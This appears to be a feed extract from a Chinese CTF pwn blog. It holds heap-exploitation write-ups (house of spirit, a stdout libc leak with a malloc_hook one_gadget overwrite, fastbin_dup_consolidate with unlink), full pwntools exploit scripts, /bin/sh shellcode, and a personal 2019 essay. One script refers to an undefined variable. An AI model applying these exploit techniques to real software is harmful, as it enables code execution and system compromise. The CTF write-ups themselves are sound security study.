0x7fffffffdce0: 0x0000000000400b60 0x00007ffff7a2d830
0x7fffffffdcf0: 0x0000000000000001 0x00007fffffffddc8
0x7fffffffdd00: 0x00000001f7ffcca0 0x0000000000400b36
0x7fffffffdd10: 0x0000000000000000 0xb01cdc16417a5d66

name的大小为48,因此可以泄露rbp,可以看到:

  • name_addr = rbp - 0x50
  • fake_chunk = name_addr- 0x90

money的大小0x40,可以设置fake_chunk size = 0x40以及修改堆地址为fake_chunk的地址(0x7fffffffdc50)

id刚好为nextsize

利用

  1. 在name处写入shellcode
  2. 利用hos控制fake_chunk
  3. 修改函数返回地址为name地址,即shellcode地址
  4. 函数返回,执行shellcode

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level = 'debug'
p = process("./pwn200")

p.recvuntil("who are u?")
# shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
shellcode=""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
print len(shellcode)
payload = shellcode.ljust(48)
p.send(payload)
p.recvuntil(payload)
rbp = u64(p.recv(6).ljust(8,'\x00'))
print hex(rbp)
shellcode_addr = rbp - 0x50
fake_chunk = shellcode_addr - 0x40
p.recvuntil("give me your id ~~?")
p.sendline('32')
p.recvuntil("give me money~")
payload = p64(0)*5 + p64(0x41) + p64(0) +p64(fake_chunk)
p.send(payload)
p.recvuntil("choice :")
p.sendline('2')
p.recvuntil("choice :")
p.sendline('1')
p.sendlineafter("how long?","48")
payload = p64(0)*3 + p64(shellcode_addr)
p.sendlineafter("money :",payload)
p.sendlineafter("choice :",'3')
p.interactive()
]]>
如果我会变成恶魔,那就随他吧。我会接受放逐,一切只为了保护她。
利用_IO_2_1_stdout_泄漏libc https://j-kangel.github.io/2020/03/13/利用-IO-2-1-stdout-泄漏libc/ 2020-03-12T22:10:55.000Z 2020-04-12T13:31:56.415Z 知识点

overlapping

overlapping是一种堆块漏洞利用中相当常见的套路,非常好用,它比较常见的利用条件是off-by-one等堆漏洞。

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/chunk_extend_overlapping-zh

_IO_2_1_stdout_

查看stdout结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> p stdout
$4 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
pwndbg> p/x _IO_2_1_stdout_
$7 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7dd26a3,
_IO_read_end = 0x7ffff7dd26a3,
_IO_read_base = 0x7ffff7dd26a3,
_IO_write_base = 0x7ffff7dd26a3,
_IO_write_ptr = 0x7ffff7dd26a3,
_IO_write_end = 0x7ffff7dd26a3,
_IO_buf_base = 0x7ffff7dd26a3,
_IO_buf_end = 0x7ffff7dd26a4,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0xa},
_lock = 0x7ffff7dd3780,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dd06e0
}

当stdout->_flags改变时,可能打印出libc地址,具体参考/usr/include/x86_64-linux-gnu/bits/libio.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

一种泄露libc的用法是添加_IO_CURRENTLY_PUTTING和 _IO_IS_APPENDING标志位,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

int main()
{
int flags,modified_flag;
setbuf(stdout, NULL);
flags = stdout->_flags;
stdout->_flags = 0xfbad2087 | 0x1000 | 0x800;
stdout->_IO_write_base -= 8;
printf("flags: 0x%x\n", flags);
modified_flag = stdout->_flags;
printf("modified_flag: 0x%x\n", modified_flag);
}

运行结果如下:

1
2
�����flags: 0xfbad2087
modified_flag: 0xfbad3887

realloc_hook

realloc_hook的常见利用方式是在使用one_gadget时平衡栈空间。

one_gadget如下:在使用时需要满足一些栈条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  woodenbox one_gadget ./libc6_2.23-0ubuntu11_amd64.so 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

由于调用realloc回去查看realloc_hook是否存在,存在的话会先调用realloc_hook。realloc_hook的地址刚好在malloc_hook上面。常见手段为:在malloc_hook中写入realloc+n,在realloc_hook中写入one_gadget。调用malloc来触发one_gadget。

例题:gxzyCTF woodenbox2

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  woodenbox checksec woodenbox2 
[*] '/mnt/hgfs/shared/gxzy/pwn/woodenbox/woodenbox2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
➜ woodenbox ./woodenbox2
----------------------------
Wooden Box Menu
----------------------------
1.add a new item
2.change the item in the box
3.remove the item in the box
4.exit
----------------------------
Your choice:

保护全开,没有show,基本是要想办法泄露libc。程序在change的时候存在堆溢出,因此可以利用overlapping。然后结合unsortedbin来爆破_IO_2_1_stdout_的地址,改变flag来泄露libc,最后将one_gadget写入malloc来getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'

p = process("./woodenbox2")
elf = ELF("./woodenbox2")
libc = ELF("./libc6_2.23-0ubuntu11_amd64.so")

def add(l,name):
p.sendlineafter("choice:","1")
p.sendlineafter("length of item name:",str(l))
p.sendlineafter("name of item:",name)

def change(idx,l,name):
p.sendlineafter("choice:","2")
p.sendlineafter("index of item:",str(idx))
p.sendlineafter("length of item name:",str(l))
p.sendlineafter("new name of the item:",name)

def remove(idx):
p.sendlineafter("choice:","3")
p.sendlineafter("item:",str(idx))

#overlapping
add(0x68,"0"*0x68)
add(0x68,"1"*0x68)
add(0x68,"2"*0x68)
add(0x68,"3"*0x68)
change(0,0x70,'0'*0x68+p64(0xe1))
remove(1)
remove(1)
add(0x38,"6"*0x38)
add(0x28,"7"*0x28)

#_IO_2_1_stdout_
change(2,0x32,'5'*0x28+p64(0x71)+'\xdd\x25')
add(0x68,"4"*0x68)
add(0x68,'\x00'*0x33+p64(0xfbad1800)+3*p64(0)+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc.address = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)
log.info("libc_base:"+hex(libc.address))
__malloc_hook = libc.symbols['__malloc_hook']
log.info('__malloc_hook:'+hex(__malloc_hook))
realloc = libc.symbols['realloc']
log.info('realloc:'+hex(realloc))
one_gadget = libc.address+0x4526a
log.info('one_gadget:'+hex(one))

#realloc_hook
remove(3)
change(1,0x38,'5'*0x28+p64(0x71)+p64(__malloc_hook-0x23))
add(0x68,'\x00'*0x68)
add(0x68,'\x00'*3+p64(0)+p64(one)+p64(realloc))
p.sendlineafter("choice:","1")

p.interactive()

总结

对于堆溢出漏洞(例如off-by-one),常见的打法是overlapping造成double free,然后将one_gadget写入realloc_hook中。如果没有show操作,就可以利用_IO_1_2_stdout来泄漏libc。

]]>
当overlapping遇上_IO_2_1_stdout_,那么libc将无处遁形。
'fastbin_dup_consolidate与unlink天作之和' https://j-kangel.github.io/2020/03/12/fastbin-dup-consolidate与unlink天作之和/ 2020-03-12T14:22:31.000Z 2020-03-26T02:58:38.988Z unlink攻击条件

两个非fastbin大小的chunk, 如下所示

1
2
3
4
5
6
0xf251f0:0x00000000000000000x0000000000000021 <-fake_chunk
0xf25200:0x00000000006020b80x00000000006020c0
0xf25210:0x00000000000000200x0000000000000fb0 <-chunk1
0xf25220:0x00000000000000610x0000000000000000
pwndbg> x/gx 0x6020d0
0x6020d0:0x0000000000f251f0

其中fake_chunk处于释放状态,即chunk1的RPEV_INUSE=0。

fake_chunk->FD->BK=&fake_chunk,即*(0xf251f0+0x10)+0x18 = 0x6020d0

fake_chunk->BK->FD=&fake_chunk,即*(0xf251f0+0x18)+0x10 = 0x6020d0

chunk->prev_size = fake_chunk->size

攻击结果

1
2
pwndbg> x/gx 0x6020d0
0x6020d0:0x00000000006020b8

fastbin_dup_consolidate攻击效果

double free之后一个在fastbin中,一个在smallbin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x603be0 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x30 [corrupted]
FD: 0x603be0 ◂— 0x0
BK: 0x603be0 —▸ 0x7ffff7dd1b98 (main_arena+120) ◂— 0x603be0
largebins
empty

这时候如果我们malloc(0x28),该chunk虽然可以写入,但是属于一个被释放的smallbin,因此可以在构造该chunk为满足unlink的fake_chunk

例题:hitcon2016-SleepyHolder

该程序功能如下:

1、keep secret(malloc)

1
2
3
small serect:malloc(40)
big secret: malloc(4000)
huge secret: malloc(400000)

2、wipe secret(free)

1
2
small secret: 未清零,double free
big seret: 未清零,double free

3、renew secret(edit)

分析如下:

因为每个secret只能malloc一次,因此无法造成经典的fastbin_dup,但是可以造成fastbin_dup_consolidate

1
2
3
4
5
add(1, 'a')
add(2, 'a')
delete(1)
add(3, 'a')
delete(1)

然后修改chunk1构造fake_chunk

1
2
3
4
5
6
f_ptr = 0x6020d0
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)
fake_chunk += '\x20'
add(1, fake_chunk)
delete(2) #unlink

接下来就可以任意读写了,将free@got改为 puts@plt,泄露出libc基址,然后将free@got改为 system

1
2
3
4
5
6
7
8
9
10
11
12
f = p64(0) + p64(atoi_GOT) + p64(puts_GOT)
f += p64(free_GOT) #f_ptr = 0x6020d0
f += p32(1)*3
update(1, f)
update(1, p64(puts_plt))
delete(2)
s = r.recv(6)
libc_base = u64(s.ljust(8, '\x00')) - atoi_offset
system = libc_base + system_offset
update(1, p64(system))
add(2, '\bin\sh\x00')
delete(2)
]]>
unlink想要的,正是fastbin_dup_consolidate想给的
2019 https://j-kangel.github.io/2020/01/07/2019/ 2020-01-06T19:27:31.000Z 2020-01-07T03:27:19.035Z

地铁没有坐正与坐反,只有起点和终点!

那是一个月黑风高的晚上,窗外刮着不太冷的寒风。我在庆祝新年的喧嚣声中小心翼翼的守护着那独一份的孤独,在百无聊赖之中,我在电脑上敲下了数行文字,用以记录上一年的某些事情,顺便聊以慰藉。就这样,我花了一个小时来记录我的2018,于此同时,我打算用一年的时光来书写我的2019。世事如影,诸君若闲,愿细数与听。

开端

人总向往诗和远方,却被生活种种束缚在了原地。阿磊跟我说:“十八岁计划出门远行,到现在还没有踏出一步。”我说:“不如今年寒假去西藏吧!”于是我们一拍即合,就这样踏上中国海拔最高的那片区域。我们先来到了武汉,顺便找了很久没见的阿峰吃了顿饭。阿峰是个很有意思的人,饭桌上我们都狂笑不止,谈论着往事与将来。

第二天我们坐动车来到了重庆。在阿磊同学的带领下,我们用半天时间品尝了磁器口的麻花,体验2号线的穿楼轻轨,吃了渝大师的中辣火锅,看到了灯光璀璨的洪崖洞。同行的还有多年未见的阿健,我跟阿健说:“雾锁山城山锁雾”,他回道:“山困雾都雾困山”。之后我们去了机场,在机场待了一宿第二天凌晨6点飞往拉萨。重庆是我待过的时间最短的城市,却给我一种玩了很久的感觉。我喜欢它那种古代与现代的完美结合,喜欢它好吃不贵的火锅以及入口即化的麻花。

第一次感受到西藏的与众不同之美便是在飞机上。我们快到西藏的时候正是朝阳出升的时候,然后最绚丽的不是飞在云端观看日出,而是彩虹机翼下那延绵不绝的雪山。我从未见过如此壮丽的大自然,或许是见识短浅,但那种感觉可以让人忘却一切烦恼。在飞机上认识了一位漂亮的藏族姑娘,她跟我讲述的许多当地的饮食于文华。下了飞机之后迎面扑来的是刺穿秋裤的寒气,也许此地别样的热情,连寒气都迫不及待的想与你来一场肌肤之亲。

冬天的西藏其实并没有那么寒冷,只是早晚温差比较大以及日出日落都很晚。我们在玛吉阿米喝了一壶甜茶,在大昭寺门前晒了会太阳,去布达拉宫买了条哈达,坐着大巴在最美的318国道上驰骋,去了湖水蓝如宝石的巴松,在藏民家里吃了牦牛粥喝了酥油茶,去了有“西藏江南”之称的林芝。一切犹如行云流水一般朴实无华且充满乐趣。

之后我们踏上了44小时的绿皮火车远下江南。

浊夜未央。清月渐凉。无睡意、偏倚寒窗。揭衣成被,落地为床。听欢声起,笑声伏,鼾声长。
此生漫漫,皆在奔忙。几时能、闲下空想。乘风而去,踏雪回乡。携云一溪,酒一壶,琴一张。

——《行香子·归途》

发展

我们努力想让生活充实有趣且与众不同,但有些事却是生活中的一些地标,你可以绕弯,可以停留,但是必须经过那里。

这一年的春节最大的乐趣莫过于每晚的夜宵,我和老头小酌一杯之余将白天的剩菜一扫而光,其中我最爱的便是某一家的腊肠。

开学之后便忙着保研的诸多事宜,从资料收集,到关注消息,再到简历投递,每一环节看似自然却扣人心弦。

和学长们打了场国赛,第一天ak题目后我们点了披萨庆祝。

四月份的某天,我那蓄势已久的薰衣草突然在一场暴风之后接二连三的破土而出。一时间竟体会到小学作文中常写的:“我种下一颗种子,终于发出了芽。”

五一我回了趟家,跟家人一起去山里摘了树莓。上一次已是十多年前的事了。

六月份的某一天,我在宿舍看着猛龙打勇士。我知道那一天必将载入NBA史册。

考试结束后和阿九去了镇海角。

去了苏州参加国赛的半决赛。

七月份的某一天,我来到了上海参加上海交通大学的选拔。认识了阿馨,也见到了多年未见的阿彪。

在国赛失利之后,我开始学pwn,开始研究一些真实的漏洞,开始看一些书,开始有计划的刷题,开始用博客记录学习的过程,开始入门CTF。不巧的是,那时候《亲爱的热爱的》正在热播。

后面我去浙大之江实验室实习了一个月,参加了一次护网比赛。

暑假在家待了一个月,这大概是我十多年来,在家连续待得最久的一次。

开学去打了场工控安全竞赛,侥幸拿了二等奖。

高潮

有些事情当时会让你觉得一夜成长,过后又云淡风轻。

9月15日

我预约了某照相馆的证件照之后,便一大早去了那里。由于来的太早,我在旁边的咖啡店点了一杯咖啡。我想让自己静下来,但是心却始终高悬不下。前一天晚上几个跟我一起报浙大的同学九推初审都过了,我却还没有结果。我跟阿峰说:“有没有什么能让我心情好一点,我现在很糟。“阿峰一开始不相信我这种人也会心情很糟,后来他推荐我去看脱口秀大会呼兰的段子。呼兰的段子是不错,可是这并不能让我轻松起来。我于是怀着这种心情拍完了证件照,我看了看证件照,白粉棕眉下隐藏的那种淡淡的忧伤还有点小帅,应该仅次于杜小帅了。没过多久,我便收到通过初审的短信。我又去看了两眼证件照,淡淡的忧伤下潜藏的未知的喜悦让小帅之余带点优雅,那时候我想,可以刚一刚杜小帅了。

9月23日

我和阿翼去了紫荆港参加机试。那时的阿翼,手握清华、人大、北航的offer,而我,空有清风,天气太热,连两袖都没有。就这样,它带着100分的机试成绩早早地出了考场,我带着63分的忧伤守候着结束的铃声。我一边埋怨自己为什么不多刷两道pat,一边吐槽着我一个CTF选手为啥要来参加机考,一边又赶紧找老师学长捞一波。一边绝望,一边又抱有希望。一边愤恨,一边又有点窃喜。我不知当时的我是怎样的的心情,只知道那天在酒店点的烧烤还挺香的。

9月24日

我和同行的几个小伙伴去参加面试。面试来了挺多人,大概就是传说中的各路牛鬼蛇神吧。按照我以往的尿性,面试十有八九都是“我跟你不熟,并不想听你叽里呱啦问七问八。”其实主要是,他们老问我一些不会的,让场面一度尴尬,让氛围瞬间如死水一般。果不其然,面试炸了。我只好寄希望于一方有难八方支援。从那一刻起,我的希望逐渐破灭,信心逐渐丧失,只剩下心悬一线。晚上坐在老师的车上,老师跟我说如果失败了你可以参加统考或者出国,我这边都可以帮你,我越听越绝望,不禁陷入了沉思,心随黑夜一般,不知几何,也不知代数。

9月25日

我早早地就醒了。我看了看墙上的电线,又去阳台站了许久。我从未体会那种内心的五味杂陈,这个词语我一般只在小说电影才看到,使用的时候也是那种为赋新词强说愁。我后来又回到了沙发上,在手机的便签上写下:

终于体会到了什么叫孤注一掷的煎熬,早上醒来,思绪就被打乱,无法再安心入眠。看到窗外的朝阳,觉得很美丽,但是不敢多看两眼。

9月26日

这天公布九推结果。我的结果是未录取。那是已是九推尾声,我手上还没有一个offer,意思就是我应该没有学校读了。从一开的壮志满怀到一落千丈只需要仅仅几天,这突然的一切让我猝不及防。我开始茶饭不思,神情恍惚,整个人如同行尸走肉。阿九见证了这一切。我只好将全部希望压在实验室导师身上,导师说,只要有人放弃就争取优先录取我。我打了个电话给辅导员,向他说明的情况,他让我盯紧一点。那一刻,我有燃起了一丝希望。阿九也许不知道这些。

9月27日

我回到了学校,回到了宿舍。我掩饰着内心的不安,与室友谈论着日常。阿仔告诉我可以提前联系一下前面录取的人,看有没有愿意放弃的。我试着做了,那一刻,我完全底下了高傲的头颅,询问他们是否愿意放弃名额。果然这招屡试不爽,一下子就联系到了五六个。我将这个消息告诉实验室的导师,导师也同样欣喜。导师告诉我说,会让学姐在招生办盯着,有人放弃就想办法捞我,我的希望之火又燃起了一些。到了晚上,大家都忙着填志愿。我知道那与我无关,但我依然选择一宿未眠,小心翼翼的守护着我那脆弱而又不堪一击的脆弱之火。

9月28号

早上7点,第一批录取已经结束。然后开始补录,直到下午5点。补录结束,而我的电话一整天都悄然无声。我当时在宿舍阳台上,看着学姐发给我:“补录结束了,我已经尽力了。“那几个字瞬间化作冰冷雨滴,将我的希望之火浇的一丝不剩。我突然内心一阵绞痛,蹲在了地上。当我再站起来的时候,我发现阳台的薰衣草已经枯萎。我跟阿润说我要找工作了,阿润说你即使去工作也不虚的。然后我开始告诉并且说服老头子我要去找工作。老头子并没说太多也没有反对。于是我去找了阿龙,阿龙说你就不要来和我们抢饭碗了,之后我们去喝了点小酒。在路上阿慈打电话来找我聊天,我告诉了他我的决定。喝酒的时候,导师打电话来说问我要不要直博,说有五成机会,我敷衍地答应了。

9月29号

早上醒来,老头子给我发了一大段作为父亲的不忍与承诺,我不知道如何回复。我和室友出门了,这天太阳格外耀眼。出门之前,我把蓄了很久的胡子刮了,突然感到一阵释怀。我不知道是释怀还是躲避,我内心还在想着直博的事。九点左右,上交招生办打来电话,说我前面还有一个同学如果放弃的话就补录到我了,我于是按照她的意思填了志愿。没过一会儿,复试通知下来了。我低头看了看短信,又抬头看了看天空,阳光洒在我的脸上,仿佛自由的雨滴。“有些鸟儿是终究关不住的,它们的羽毛太鲜艳了”。那是内心的自由,我仿佛压抑了很久很久。后来浙大的录取通知来了,我最终去了浙大。

也许正如某位老先生说的:

天将那啥,必先那啥!

尾声

有些事是生活的地标,你在达到它之前或许会朴实无华且枯燥地走着两点之间线段最短,或许会波澜壮阔精彩纷呈地静赏陌上花开,或许会绕了一大弯还摔了一两跤。但是不管怎样,到了之后,你还会继续往前走。

后面的的时间我大部分待在了实验室,还记得那时满城桂花飘香。

第一个周末去了骑马射箭,写了一篇《杭秋》。我最喜欢其中一句:

彤叶惹黄花,因羞泛红;清水戏明月,为情相映。

细细品之,至今留有余味。

11月回了趟学校,第一次在火车丢了电脑。而后参加省赛。

12月21,22日,陪阿九考研。

12月26~29日,代表浙大AAA参加xnuca总决赛,苟到了最后一个三等奖。

总结

我们往往都记得那些突然发生的事情,却往往忽略那些一直在坚持的事业。赛博如海,我是沧海一粟。然而:

我最进看了很多教程,也研究了很多的漏洞,感触颇深,现在看来,我亦是有成为世间黑客的潜质!

]]>
That year, I was 21 years old.
2019xnuca总决赛adw7 writeup https://j-kangel.github.io/2019/12/30/2019xnuca总决赛adw7-writeup/ 2019-12-30T15:15:34.000Z 2019-12-30T11:57:19.125Z

Thank you, thank you all so very much, thank you to all of you in this room, none of there would be possible without you. Thank you!

题目简介

这是一道arm菜单题

环境搭建

启动环境

安装依赖

1
sudo apt install -y gcc-arm-linux-gnueabi

启动

1
qemu-arm  -L /usr/arm-linux-gnueabi ./awd7

gdb调试

安装gdb-multiarch

1
sudo apt install gdb-multiarch

socat启动

1
socat tcp-l:10005,fork exec:"qemu-arm  -L /usr/arm-linux-gnueabi ./awd7",reuseaddr

python脚本启动

1
2
3
4
from pwn import *

p = remote("127.0.0.1","10005")
pause()

gdb调试

1
gdb-multiarch -q awd7

漏洞利用

ida打开,发现很明显的缓冲区溢出以及get shell的后门。

]]>
first flay with the arm pwn, it's funny!
linux 系统调用相关 https://j-kangel.github.io/2019/12/25/linux-系统调用相关/ 2019-12-25T10:19:31.000Z 2019-12-25T05:19:10.823Z

If you look for it, I’ve got a sneaky feeling you’ll find that love actually is all around.

标准输入输出

1
2
3
标准输入 即STDIN , 在 /dev/stdin , 一般指键盘输入, shell里代号是 0
标准输出 即STDOUT, 在 /dev/stdout, 一般指终端(terminal), 就是显示器, shell里代号是 1
标准错误 即STDERR, 在 /dev/stderr, 也是指终端(terminal), 不同的是, shell里代号是 2

32位系统调用

32位系统调用

write

1
2
3
4
5
6
7
系统调用号:4
函数路径:glibc-2.27/io/write.c
函数定义:ssize_t write(int fd, const void *buf, size_t nbyte);
fd:文件描述符;
buf:指定的缓冲区,即指针,指向一段内存单元;
nbyte:要写入文件指定的字节数;
返回值:写入文档的字节数(成功);-1(出错)

汇编

leave

1
2
3
在32位汇编下相当于:
mov esp,ebp
pop ebp

ret

1
RET指令则是将栈顶的返回地址弹出到EIP,然后按照EIP此时指示的指令地址继续执行程序

shellcode

i386

1
2
3
4
5
6
7
8
9
10
shellcode:"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
disasm如下:
0: 31 c9 xor ecx,ecx
2: f7 e1 mul ecx
4: 51 push ecx
5: 68 2f 2f 73 68 push 0x68732f2f
a: 68 2f 62 69 6e push 0x6e69622f
f: 89 e3 mov ebx,esp
11: b0 0b mov al,0xb
13: cd 80 int 0x80

pwntools生成

1
shellcraft.i386.linux.sh()
]]>
If you look for it, I've got a sneaky feeling you'll find that love actually is all around.
pwnable.tw writeup https://j-kangel.github.io/2019/12/25/pwnable-tw-writeup/ 2019-12-25T09:34:21.000Z 2019-12-25T05:30:47.248Z

Every time a bell rings, an angel gets his wings.

Start

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
push    esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push ':FTC'
push ' eht'
push ' tra'
push 'ts s'
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch
mov al, 3
int 80h ; LINUX -
add esp, 14h
retn

很明显的栈溢出,没有其他可以利用的函数和gadget,只好利用shellcode。因此需要泄露esp的地址,并且payload长度不能超过0x3c,因此需要精心构造shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import  *

p = remote('chall.pwnable.tw',10000)
# p = process("./start")
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
addr = u32(p.recv(4))+20
print hex(addr)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(addr) + shellcode
print hex(len(payload))
print disasm(shellcode)
p.send(payload)
p.interactive()
]]>
Every time a bell rings, an angel gets his wings.
linux 酷炫小工具 https://j-kangel.github.io/2019/12/23/linux-酷炫小工具/ 2019-12-23T15:17:57.000Z 2019-12-23T07:17:57.994Z